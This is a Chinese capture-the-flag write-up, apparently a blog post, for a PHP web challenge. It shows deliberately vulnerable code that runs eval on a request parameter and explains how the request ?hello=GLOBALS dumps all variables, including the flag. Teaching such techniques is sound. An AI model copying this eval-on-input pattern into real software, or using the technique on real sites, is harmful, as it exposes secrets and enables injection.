[百度杯-二月场](Misc-Web)爆破-1


简介 :

分值:10分 类型:Misc Web已解答

题目:
flag就在某六位变量中。

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
  die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>

分析 :

$$

php中 $ 是可以叠加使用的 , 例如 : 
$a = "b";
$b = "Hello world!";
echo $$a;
就可以打印出 b 的值
可以这样来看 $$a
${${a}} = ${b} = "Hello world!"
这也是 php 的一个比较奇特的性质

超全局变量 :

[PHP超全局变量](http://www.w3school.com.cn/php/php_superglobals.asp)
[PHP超全局变量](http://www.php.net/manual/zh/language.variables.superglobals.php)
[PHP超级全局变量、魔术变量和魔术函数](http://www.cnblogs.com/wangxin-king/p/5669336.html)
我们可以通过发送一个这样的get请求来打印超全局变量 : $GLOBALS
http://xxxxxx.ctf.game/?hello=GLOBALS
那么在执行这一句 : eval("var_dump($$a);"); 的时候
其实就是在执行 : 
eval("var_dump(${${a}});");
eval("var_dump(${GLOBALS});");
这样就会打印出当前定义的所有变量 , 也包括 include 的文件中的变量 , flag 也存在在这些变量中
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 135,664评论 19 139
  • ¥开启¥ 【iAPP实现进入界面执行逐一显】 〖2017-08-25 15:22:14〗 《//首先开一个线程,因...
    小菜c阅读 11,818评论 0 17
  • 一、php可以做什么 php是一种可以在服务器端运行的编程语言,可以运行在Web服务器端。 php是一门后台编程语...
    空谷悠阅读 8,322评论 4 97
  • ES6数组扩展 1.Array.from() 定义:Array.from()用于将两类对象转换成真正的数组:类数组...
    lijaha阅读 3,126评论 0 0
  • 感恩中带着收获,收获中带着感恩,幸福中有了收获和感恩!!!感恩在路上的你们。 彼此信任才是最美好的友谊。 世界上每...
    鹿伟伦阅读 3,114评论 0 0